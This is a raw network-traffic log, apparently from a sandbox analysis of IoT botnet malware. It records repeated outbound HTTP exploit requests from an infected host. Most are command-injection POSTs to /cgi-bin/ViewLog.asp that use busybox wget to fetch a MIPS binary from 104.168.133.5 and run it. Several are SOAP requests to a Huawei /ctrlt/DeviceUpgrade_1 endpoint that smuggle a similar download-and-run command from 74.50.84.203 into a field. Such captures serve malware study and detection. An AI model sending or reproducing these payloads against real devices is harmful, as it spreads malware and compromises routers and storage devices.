0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-bottom:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                974192.168.2.153457894.120.248.2358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.479835033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                975192.168.2.154204831.10.63.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.662435055 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                976192.168.2.155538094.120.163.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.695152998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                977192.168.2.155561094.71.231.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:10.912668943 CET1340INHTTP/1.0 400 Bad Request
                                                Server: http server 1.0
                                                Content-type: text/html
                                                Date: Thu, 23 Nov 2023 04:23:06 GMT
                                                Last-modified: Thu, 23 Nov 2023 04:23:06 GMT
                                                Accept-Ranges: bytes
                                                Connection: close
                                                Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 2d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 67 69 66 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 67 69 66 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 20 75 72 6c 28 27 2f 63 67 69 2d 62 69 6e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2f 65 72 72 5f 62 67 2e 6a 70 67 27 29 3b 0a 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 6c 69 6e 6b 2c 2e 71 6e 61 70 5f 68 79 70 65 72 6c 69 6e 6b 20 61 3a 76 69 73 69 74 65 64 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 4c 75 63 69 64 61 20 47 72 61 6e 64 65 2c 20 54 61 68 6f 6d 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 41 34 41 33 41 33 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 31 7b 0a 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 43 42 43 42 43 3b 0a 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 7d 0a 2e 71 6e 61 70 5f 62 61 72 5f 69 6d 67 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Cache-Control" content="no-cache" /><meta http-equiv="Pragma" content="no-cache" /><meta http-equiv="Expires" content="-1" /><link rel="shortcut icon" href="/images/favicon.gif" type="image/gif" /><link rel="icon" href="/images/favicon.gif" type="image/gif" /><style type="text/css">body{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;background: #FFFFFF url('/cgi-bin/images/error/err_bg.jpg');overflow: hidden;color: #A4A3A3;text-align: center;}.qnap_hyperlink a,.qnap_hyperlink a:link,.qnap_hyperlink a:visited{font-family:Verdana, Lucida Grande, Tahoma, Arial, Helvetica, sans-serif;font-size: 11px;color: #A4A3A3;}.qnap_bar1{width: 980px;border-bottom: 1px solid #BCBCBC;padding-top: 10px;text-align: left;margin: 0 auto;}.qnap_bar_img{padding-botto


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                978192.168.2.154546294.190.222.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.007142067 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:11.345437050 CET75INHTTP/1.1
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                979192.168.2.154206631.10.63.218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.060380936 CET322INHTTP/1.0 400 Bad Request
                                                Server: httpd
                                                Date: Thu, 23 Nov 2023 04:23:10 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                980192.168.2.1549896156.235.104.25437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.247167110 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:15.383797884 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                981192.168.2.155426462.29.14.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.261270046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                982192.168.2.155707431.200.43.98080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.298583984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                983192.168.2.154159431.136.174.1998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.440130949 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.615696907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                984192.168.2.1542706156.241.78.16437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:11.604552984 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
